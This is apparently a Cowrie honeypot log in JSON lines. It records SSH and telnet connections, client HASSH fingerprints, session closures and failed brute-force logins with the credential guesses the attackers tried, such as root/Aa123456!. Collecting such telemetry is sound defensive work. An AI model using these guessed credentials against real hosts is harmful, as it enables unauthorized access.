{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:25.670117Z","src_ip":"141.11.88.14","session":"8a470d9f9423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46190,"dst_ip":"10.17.0.5","dst_port":22,"session":"5245b6c35bcb","protocol":"ssh","message":"New connection: 141.11.88.14:46190 (10.17.0.5:22) [session: 5245b6c35bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:29.579494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:29.585649Z","src_ip":"141.11.88.14","session":"5245b6c35bcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:29.669571Z","src_ip":"141.11.88.14","session":"5245b6c35bcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456!","message":"login attempt [root/Aa123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:29.975038Z","src_ip":"141.11.88.14","session":"5245b6c35bcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:31.073847Z","src_ip":"141.11.88.14","session":"5245b6c35bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46226,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e3ed3ae4826","protocol":"ssh","message":"New connection: 141.11.88.14:46226 (10.17.0.5:22) [session: 8e3ed3ae4826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:34.544610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:34.621043Z","src_ip":"141.11.88.14","session":"8e3ed3ae4826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:34.723701Z","src_ip":"141.11.88.14","session":"8e3ed3ae4826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.70535278320312,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:35.090616Z","src_ip":"94.23.66.112","session":"bf4ba2869be7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60420,"dst_ip":"10.17.0.5","dst_port":22,"session":"917359024a66","protocol":"ssh","message":"New connection: 103.172.78.219:60420 (10.17.0.5:22) [session: 917359024a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:35.144948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:35.151041Z","src_ip":"103.172.78.219","session":"917359024a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:35.190395Z","src_ip":"141.11.88.14","session":"8e3ed3ae4826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:35.409853Z","src_ip":"103.172.78.219","session":"917359024a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11101993","message":"login attempt [root/11101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:36.189875Z","src_ip":"103.172.78.219","session":"917359024a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:36.318625Z","src_ip":"141.11.88.14","session":"8e3ed3ae4826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:37.450631Z","src_ip":"103.172.78.219","session":"917359024a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62522,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cb795b2aece","protocol":"ssh","message":"New connection: 141.11.88.14:62522 (10.17.0.5:22) [session: 2cb795b2aece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:40.013309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:40.117963Z","src_ip":"141.11.88.14","session":"2cb795b2aece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:40.121212Z","src_ip":"141.11.88.14","session":"2cb795b2aece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"12345678","message":"login attempt [develop/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:41.411329Z","src_ip":"141.11.88.14","session":"2cb795b2aece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:42.875366Z","src_ip":"141.11.88.14","session":"2cb795b2aece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54442,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a811fdfe85","protocol":"telnet","message":"New connection: 128.199.8.54:54442 (159.203.135.109:23) [session: 31a811fdfe85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:44.020214Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62556,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dd99e1ee571","protocol":"ssh","message":"New connection: 141.11.88.14:62556 (10.17.0.5:22) [session: 9dd99e1ee571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:45.039603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:45.073714Z","src_ip":"141.11.88.14","session":"9dd99e1ee571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:45.187093Z","src_ip":"141.11.88.14","session":"9dd99e1ee571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abuse","password":"abuse","message":"login attempt [abuse/abuse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:45.607450Z","src_ip":"141.11.88.14","session":"9dd99e1ee571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:46.701742Z","src_ip":"141.11.88.14","session":"9dd99e1ee571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":23382,"dst_ip":"10.17.0.5","dst_port":22,"session":"76091d4c428f","protocol":"ssh","message":"New connection: 141.11.88.14:23382 (10.17.0.5:22) [session: 76091d4c428f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:50.758512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:50.835844Z","src_ip":"141.11.88.14","session":"76091d4c428f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:50.930051Z","src_ip":"141.11.88.14","session":"76091d4c428f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25252525","message":"login attempt [root/25252525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:51.594423Z","src_ip":"141.11.88.14","session":"76091d4c428f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:52.699032Z","src_ip":"141.11.88.14","session":"76091d4c428f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":34966,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ea8b38fd14","protocol":"ssh","message":"New connection: 36.92.41.115:34966 (10.17.0.5:22) [session: c6ea8b38fd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:54.134920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:54.139588Z","src_ip":"36.92.41.115","session":"c6ea8b38fd14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:54.389537Z","src_ip":"36.92.41.115","session":"c6ea8b38fd14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59642,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea1e5b6afdf","protocol":"ssh","message":"New connection: 27.71.230.31:59642 (159.203.135.109:22) [session: fea1e5b6afdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:54.395658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:54.413333Z","src_ip":"27.71.230.31","session":"fea1e5b6afdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:55.144548Z","src_ip":"27.71.230.31","session":"fea1e5b6afdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aovalle","password":"123456","message":"login attempt [aovalle/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:55.425133Z","src_ip":"36.92.41.115","session":"c6ea8b38fd14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:56.678464Z","src_ip":"36.92.41.115","session":"c6ea8b38fd14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":23458,"dst_ip":"10.17.0.5","dst_port":22,"session":"48c51afa25b3","protocol":"ssh","message":"New connection: 141.11.88.14:23458 (10.17.0.5:22) [session: 48c51afa25b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:56.955445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:56.975799Z","src_ip":"141.11.88.14","session":"48c51afa25b3","protocol":"ssh"}
